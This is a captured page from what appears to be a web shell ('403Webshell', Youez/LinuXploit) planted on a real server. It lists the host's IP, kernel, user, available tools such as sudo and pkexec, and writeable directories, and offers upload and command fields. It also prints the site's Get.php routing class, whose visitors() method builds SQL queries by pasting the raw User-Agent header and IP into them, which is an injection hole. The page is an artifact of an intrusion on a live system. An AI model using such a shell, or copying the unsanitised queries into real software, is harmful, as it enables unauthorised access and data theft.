403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.167
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/clases/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/clases/Get.php
<?php
/**
 * Class Get
 *
 * @author suxoza <suxoza@gmail.com>
 */


class Get extends Base_class{
    
    public  $_url_masiv_2;
    private $URL;
    
    
    
    public function __construct(){
      parent::__construct();
      $this->URL = explode('/',urldecode($_SERVER['REQUEST_URI']));
      $this->make_url();
      $this->visitors();
    }
    
    public function make_url(){
        $_ = $this;

            $_->make_masiv();
            $_->menu_names(1);

            $lang = 1;
            $_->_url = $_->URL[$lang];
            $_->_url = (!$_->_url || strlen($_->_url) < 2)?'/':$_->_url;
            try{
                if($_->_url && in_array($_->_url,$_->_url_masiv['Geo']))
                   $_->reflection($_->_url_masiv,__CLASS__);  
                elseif($_->_url && in_array($_->_url,$_->_url_masiv_2['Geo']))
                   $_->reflection($_->_url_masiv_2,__CLASS__); 
                ///widgets
                elseif($_->_url && in_array($_->_url,$_->_menu_['_page_url'])){ 
                    $reflection = new ReflectionClass(__CLASS__);
                    echo $reflection->getMethod('all_pages')->invoke($_,$_->_url);
                }
                ///end widgets
                else  throw new Page_not_found; 
            }catch(Page_not_found $ex){
                $_->smarty->template_dir = $_->_dir.'view/templates_1';
                die($this->render('404',["menu" => $_->_menu_,'message' => $ex->getMessage()]));
                              
            }
    }


    private function visitors(){
        $_ = $this;
        $ip = $_SERVER['REMOTE_ADDR'];
        $session = session_id();
        if(!isset($_SESSION['visitors'])){
            $sql = "insert into visitors(ip,user_agent,date) values ('".$ip."','".$_SERVER["HTTP_USER_AGENT"]."',".time().")";
            $_->con->exec($sql);
            $_SESSION['visitors'] = $ip;
        }

        $sql = $_->join_select("select count(date) as date from visitors_now where ip = '".$ip."' and timest > DATE_SUB(now(), INTERVAL 3 minute)","small");
        if(!$sql['date'])$_->insert("visitors_now",[["ip","date","user"],[$ip,time(),$session]]);

    }

    public function make_masiv(){
        parent::make_masiv();

        $this->_url_masiv_2 = [
            //'Eng' => ['','page'],
            'Geo' => ['exit','page','lang'],
            ['exit_user','page','lang']
        ];
    }
    
    public function exit_user($a){
        session_destroy();
        header("Location:/");
    }
    
    public function Hello_word($a){
      $_ = $this;
      $name = $_->select('url_'.$_->_lang,"menu","small",["home_page",1]);
      $_->all_pages($name);

    }
    
    public function lang($a){
        $_ = $this;
        try{
            $lang = $this->URL[array_search('lang',$this->URL) + 1];
            if(!$lang)throw new Exception('language error');
            $_SESSION['language'] = $lang;
            header("location:".$_SERVER['HTTP_REFERER']);
        }catch(Exception $ex){
           die($ex->getMessage()); 
        }
    }
    


  
    
 
    

    

    
    
 
    
}    

Youez - 2016 - github.com/yon3zu
LinuXploit